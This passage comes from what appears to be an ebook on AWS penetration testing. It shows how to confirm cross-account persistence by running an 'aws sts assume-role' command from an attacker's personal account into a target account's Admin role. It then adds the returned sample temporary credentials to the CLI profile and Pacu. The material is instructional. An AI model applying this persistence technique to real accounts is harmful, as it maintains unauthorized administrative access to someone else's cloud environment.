Confirming our access

We can test our new method of persistence by trying to assume our target role from within our own attacker account. There is already a local AWS CLI profile named MyPersonalUser, which is a set of access keys that belong to my personal AWS account. Using those keys, I should be able to run the following command:

aws sts assume-role --role-arn arn:aws:iam::111111111111:role/Admin --role-session-name PersistenceTest --profile MyPersonalUser 

We only need to supply the ARN of the role we want credentials for and a role session name, which can be an arbitrary string value that is associated with the temporary credentials that are returned. If everything went as planned, the AWS CLI should respond with something like the following:

{
"Credentials": {
"AccessKeyId": "ASIATE66IJ1KVECXRQRS",
"SecretAccessKey": "hVhO4zr7gbrVBYS4oJZBTeJeKwTd1bPVWNZ9At7a",
"SessionToken": "FQoGZXIvYXdzED0aAJslA+vx8iKMwQD0nSLzAaQ6mf4X0tuENPcN/Tccip/sR+aZ3g2KJ7PZs0Djb6859EpTBNfgXHi1OSWpb6mPAekZYadM4AwOBgjuVcgdoTk6U3wQAFoX8cOTa3vbXQtVzMovq2Yu1YLtL3LhcjoMJh2sgQUhxBQKIEbJZomK9Dnw3odQDG2c8roDFQiF0eSKPpX1cI31SpKkKdtHDignTBi2YcaHYFdSGHocoAu9q1WgXn9+JRIGMagYOhpDDGyXSG5rkndlZA9lefC0M7vI5BTldvmImgpbNgkkwi8jAL0HpB9NG2oa4r0vZ7qM9pVxoXwFTA1I8cyf6C+Vvwi5ty/3RaiZ1IffBQ==",
"Expiration": "2018-11-06T20:23:05Z"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAJTZAUYV2TQBZ2LXUK:PersistenceTest",
"Arn": "arn:aws:sts::111111111111:assumed-role/Admin/PersistenceTest"
}
}

Perfect! Now, what we have done is use our own personal account credentials to retrieve credentials for our target AWS account. We can run the same aws sts API call at any time, as long as we are still a trusted entity, and retrieve another set of temporary credentials whenever we want.

We could make these keys available to the AWS CLI by modifying our ~/.aws/credentials file. The profile would just require the extra aws_session_token key, which would end up with the following being added to our credentials file:

[PersistenceTest]
aws_access_key_id = ASIATE66IJ1KVECXRQRS
aws_secret_access_key = hVhO4zr7gbrVBYS4oJZBTeJeKwTd1bPVWNZ9At7a
aws_session_token = "FQoGZXIvYXdzED0aAJslA+vx8iKMwQD0nSLzAaQ6mf4X0tuENPcN/Tccip/sR+aZ3g2KJ7PZs0Djb6859EpTBNfgXHi1OSWpb6mPAekZYadM4AwOBgjuVcgdoTk6U3wQAFoX8cOTa3vbXQtVzMovq2Yu1YLtL3LhcjoMJh2sgQUhxBQKIEbJZomK9Dnw3odQDG2c8roDFQiF0eSKPpX1cI31SpKkKdtHDignTBi2YcaHYFdSGHocoAu9q1WgXn9+JRIGMagYOhpDDGyXSG5rkndlZA9lefC0M7vI5BTldvmImgpbNgkkwi8jAL0HpB9NG2oa4r0vZ7qM9pVxoXwFTA1I8cyf6C+Vvwi5ty/3RaiZ1IffBQ=="

Then we could manually add those credentials into Pacu or we could import them from the AWS CLI to Pacu.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.138.122.4